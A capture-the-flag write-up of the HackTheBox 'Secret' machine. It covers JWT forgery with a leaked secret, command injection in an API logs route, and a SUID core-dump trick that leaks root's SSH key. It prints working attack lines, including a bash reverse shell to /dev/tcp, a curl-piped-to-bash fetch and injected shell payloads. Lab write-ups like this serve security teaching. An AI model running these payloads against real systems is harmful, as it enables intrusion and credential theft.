> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md). # Secret HackTheBox Writeup Secret HackTheBox Easy Linux machine writeup covering Code Analysis, Abusing an API, Json Web Tokens (JWT), Abusing/Leveraging Core Dump (Privilege Escalation), with practical enumeration, exploitatio {% embed url="" %} {% hint style="warning" %} **Skills**: * Code Analysis * Abusing an API * Json Web Tokens (JWT) * Abusing/Leveraging Core Dump (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts ```
**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (80,22,3000)
Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted ```
To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:
> **Observation**: The same website is accessible on ports 80 and 3000.
**Directory search:** We use Gobuster to search directories on the site: ```bash gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```
## Register an API User In the "docs" section we find instructions for registering a user. Example for user “jordan”:
```json curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{ "name": "jordan", "email": "jordan@htb.com", "password": "jordan" }' ; echo ```
## Authentication API To connect: ```json curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{ "email": "jordan@htb.com", "password": "jordan" }' ; echo ``` This returns us an authentication token (`auth-token`). `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`
### Checking the default Json Body
`email: "root@dasith.works"` `password: "Kekc8swFgD6zU"`
### Vulnerability check [JSON Web Token](/web-vulnerabilities/json-web-token-jwt-attack.md) Use a site to decode the JWT to read and manipulate its contents. > **Note**: The JWT token should be invalid. By modifying the "name" and "email" fields for those of an administrator: {% embed url="" %}
`"name": "theadmin",` `"email": "root@dasith.works",` `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`
### Attempting to access a private API: Trying to connect to a private API using the modified JWT: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq ``` {% endcode %} We receive an "invalid token" message.
With our own JWT we have access as a normal user: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq ``` {% endcode %} We receive a message "You are normal user".
## Enumeration of API routes with Wfuzz Use Wfuzz to explore available routes: {% code fullWidth="true" %} ```bash wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ ``` {% endcode %} New discovery: the `/api/logs` route.
## Source code analysis The web page provides an option to download the source code.
> **Trouvailles** : * A `.env` file containing a `token_secret` with the value "secret".
A `.git` folder with a commit indicating the deletion of file `.env`.
The old deleted `token_secret` is found: `gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`
Use this old `token_secret` to sign a JWT with admin information, and access the private API: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`
{% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %} > **Result**: Welcome message as admin: "welcome back admin".
Finally, by running the `/api/logs` route, the following content is displayed: ```json "cmd": "git log --oneline undefined" ```
By examining the `privitate.js` file and analyzing the code, we see that:
## Vulnerability RCE: {% hint style="info" %} This code has a security issue due to command injection. Because `file` comes from the query parameters and is inserted directly into the terminal command, a malicious user could modify `file` to execute other commands. The function of this route is to execute the `git log --oneline [file]` command on the system, where `[file]` is a specific file requested in the request's query parameter. {% endhint %} Here is an example `curl` command that attempts to inject `id`: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %}
#### We will run a reverse shell: 1. Create a `index.html` file on our machine and create a web server with the following content: ```html #!/bin/bash bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 ``` 2. Next, listen on port 4444: ```bash nc -nlvp 4444 ``` Run an injection with `curl` on our web server: {% code overflow="wrap" %} ```bash curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq ``` {% endcode %}
### Flag user.txt :)
**Terminal Handling:**/ Once you have access to the Linux server, here are the commands to run for efficient processing in the terminal: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Stabilize the shell for more comfortable work. ## Privilege Escalation (SUID) With the following command we check if our user **has SUID privileges**: ```bash find / -perm -4000 2>/dev/null ``` We find a rare file located at `/opt/count`, whose owner is `root`.
When running this binary, it asks us to provide a file, then it lists the total number of characters, words and lines. This script will read the contents of the file and then display its properties.
### Core Dump Binary By examining the source code, we can observe that a core dump is generated, temporarily storing the contents in case of an error.
Errors are saved in the `/var/crash` directory. Here's how to create a core dump: 1. **Enter the name of the file or directory:** ```bash Enter source file/directory name: /root/.ssh/id_rsa ``` *(SSH root key)* 2. **Save results to a file?** ```` ```css Save results to a file? [y/N]: ^Z ``` ```` *(Put to background)* 3. **Get the PID:** ```` ```bash ps ``` _(Copier le PID)_ ```` 4\. **Tuer le processus :** ```` ```bash kill -BUS 'PID' ``` ```` 5\. **Rerun the binary:** ```` ```bash fg ``` ```` 6\. **Check core dumps directory:** ```` ```bash ls -l /var/crash ``` ```` *(A new file appears: `_opt_count.1000.crash`)*
We now have a base64 core dump containing root's SSH key.
### Apport-umpack To extract the information, we will use `apport-unpack`: ```bash apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh ``` Next, we'll list the contents of the file in `/tmp/ssh/coredump` using `strings`:
We find the SSH root key
### SSH connection Once we have created the `id_rsa` file with permissions 600, we can connect via SSH: ```bash ssh root@10.10.11.120 -i id_rsa ```
### Flag root :)
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